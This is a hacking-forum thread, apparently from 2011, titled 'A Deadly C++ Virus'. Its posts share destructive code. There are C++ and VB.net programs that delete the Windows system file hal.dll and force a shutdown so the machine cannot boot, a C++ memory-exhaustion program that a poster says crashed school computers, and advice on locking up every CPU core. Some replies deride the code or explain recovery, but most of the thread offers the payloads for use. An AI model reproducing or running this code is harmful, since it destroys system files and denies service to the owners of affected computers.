Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

C 

[CODE] A Deadly C++ Virus

I have tried this with XP service pack 3 in a virtual machine and can confirm it works.
Code
Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  IO.File.Delete("C:\windows\system32\hal.dll")
  Process.Start("shutdown", "-s")
    End Sub
End Class

Just as dangerous virus in VB.net
(Jul 8, 2011 05:05 AM)Dbof Wrote:  I guess this does not work on Windows without administrative rights.

Yeah, luckily it needs administrative rights :D
Are you just copying this from the 10.000 people who made this before?
This is just shit.
What stops them from putting hal.dll back into the correct directory? (and no, you do not need to boot windows to do that).
Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!
You might as well do this with Batch. Two out of the three payloads were system().
(Jul 8, 2011 02:07 PM)rayven18 Wrote:  Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

It won't burn your CPU and an application has a memory limit of 2GB - if it exceeds this limit, it gets terminated. If you really want to drain all the CPU power and make the system unresponsive then the way is to determine the number of CPU cores and spawn an endless thread with the priority THREAD_PRIORITY_TIME_CRITICAL for each core.
you can do better with a batch file, that's erally a waste of c++, but still good job anyway
(Jul 8, 2011 02:07 PM)rayven18 Wrote:  Another good idea is to make an array with multiple dimensions so it will consume all the computer ram memory and shut the computer off. It has some possibilities to burn the whole CPU though!

You're better off with a vector of long pointers, and create a new long variable in freestore in an endless loop, it will shut the computer down in a few seconds. Did this in my computers at college, and it shut them down.

EDIT: I found the code I wrote a very long time ago which crashed a few school computers. Pretty funny when windows just restarts. Note, this does not work on linux, as linux will start deleting the memory to make room for more.
Code
#include <iostream>

#include <vector>

using namespace std;

int main()

{

    vector<int*> ptr;

    int num1 = 987654321;

    for(int i = 0; i < num1; i++)

  ptr.push_back(new int(i));

    return 0;

}
Oh i so might compile this on one of my computers i don't give a shit about. Nice make XD
Really, you can write all that in a batch file and just convert that one to an executable, if you want to have it as a .exe.
(Jul 8, 2011 04:48 AM)aztech Wrote:  This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

Code
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

Great job I also test it on win7 worked fine.

What is dangerous guys??? It can be fixed very easy by inserting the windows cd and fix the missing dll's in our case the dll is hal.dll, also you can modify the boot.ini file on the fly and manage to start windows without hal.dll!
Why is op a skid:
1.UAC , if youre not an admin you cant even touch the windows files
2.Does "use namepspace std; " , and adds std:: to call the functions from the std class , use one god damn it
3.uses system();
4.does not know c++ for shit


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Shell] by CyberHoaxFeb 8, 2013 06:29 AM 7 473 Feb 8, 2013 06:29 AM
Last Post: Volim te
[C] by JustprankcalledbV1Nov 9, 2012 05:09 AM 3 155 Nov 9, 2012 05:09 AM
Last Post: Shihanus
[Shell] by BlackHat8496Jun 5, 2012 02:39 PM 14 697 Jun 5, 2012 02:39 PM
Last Post: 01871717